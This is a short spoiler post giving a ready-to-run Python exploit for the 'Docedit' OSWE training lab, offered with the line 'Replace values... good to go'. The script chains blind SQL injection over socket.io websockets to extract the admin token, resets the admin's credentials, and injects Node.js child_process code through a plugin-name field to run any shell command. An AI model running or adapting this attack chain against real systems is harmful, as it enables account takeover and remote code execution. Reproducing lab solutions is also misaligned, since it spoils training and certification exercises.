[SPOILER] Docedit OSWE Lab Exploit
Replace values to the ones you have and you are good to go!
import random
import requests
import re
import websockets
import asyncio
def getSid(url):
newUrl = url + '/socket.io/?EIO=3&transport=polling&t=PBNk2-7'
s = requests.get(newUrl)
match = re.search(r'sid":"(.*?)","upgra', s.text, re.DOTALL)
sid = match.group().replace('sid":"', '').replace('","upgra','').strip()
newUrl = url + f'/socket.io/?EIO=3&transport=polling&t=PBNk31Z&sid={sid}'
s = requests.get(newUrl)
return sid
async def register(url, sid, uname, cmd):
headers = {'Cookie:' : f'io={sid}'}
wsUrl = url.replace('http://', 'ws://').replace('https://', 'wss://') + f'/socket.io/?EIO=3&transport=websocket&sid={sid}'
async with websockets.connect(wsUrl, extra_headers=headers) as websocket:
await websocket.send('2probe')
response = await websocket.recv()
await websocket.send('5')
await websocket.send('42["getRegister"]')
response = await websocket.recv()
await websocket.send(f'42["postRegister",{{"firstName":"{uname}","lastName":"{uname}","email":"{uname}@test.loc","password1":"sample","password2":"sample"}}]')
response = await websocket.recv()
if '"type":"success"' in response:
user = uname
print(f"Registered user {user}@test.loc:sample")
await websocket.send(f'42["postLogin",{{"email":"{uname}@test.loc","password":"sample"}}]')
response = await websocket.recv()
match = re.search(r'"token":"(.*?)"}]', response, re.DOTALL)
token = match.group().replace('"token":"', '').replace('"}]','').strip()
print(f"User {user}@test.loc has token {token}")
a = 0
b = 1
while a < float('inf'):
payload = f'42["checkEmail",{{"token":"{token}","email":"hmm\' OR (length((select token from AuthTokens where UserId = 1 limit 0,1))) = {a} #-- -"}}]'
await websocket.send(payload)
response = await websocket.recv()
if 'emailFound",true' in response:
length = a
break
a += 1
print(f"Length is {length}")
asciiToken = []
while b <= length - 1:
i = 33
while i < 127:
payload = f'42["checkEmail",{{"token":"{token}","email":"admin%\' AND (ascii(substr((select token from AuthTokens where UserId = 1 limit 0,1) ,{b},1))) = {i} #-- -"}}]'
await websocket.send(payload)
response = await websocket.recv()
await websocket.send(payload)
response = await websocket.recv()
if 'emailFound",true' in response:
print(payload)
print(response)
asciiToken.append(i)
b += 1
break
i += 1
print(f'asciiToken {asciiToken}')
token = ''.join(chr(i) for i in asciiToken)
print(f'Admin token is {token}')
message = await asyncio.wait_for(websocket.recv(), 3) # doing it cuz next request returns response of previous one
payload = f'42["updateProfile",{{"firstName":"admin","lastName":"admin","email":"[email protected]","password1":"adminka","password2":"adminka","token":"{token}"}}]'
await websocket.send(payload)
response = await websocket.recv()
print(f"response for admin {response}")
if '"type":"success"' in response:
print("Admin account details are [email protected]:adminka")
payload = f'42["togglePlugin",{{"name":"chat_ws\')];(function(){{localLoad=global.process.mainModule.constructor._load;sh=localLoad(\'child_\'+\'process\').exec(\'{cmd}\')}}())//","enable":true,"token":"{token}"}}]'
await websocket.send(payload)
response = await websocket.recv()
if '"type":"success"' in response:
print(f"Command {cmd} successfully executed!")
return asciiToken
if __name__ == "__main__":
print("Important note, turns out sequence is important when sending websocket requests")
s = requests.Session()
uname = 'sample' + str(random.randint(1000000,9999999))
url = 'http://docedit' #use IP address
sid = getSid(url)
cmd = 'touch /tmp/aaaaa.txt' #Any command you want, execution is blind
asciiToken = asyncio.run(register(url, sid, uname, cmd))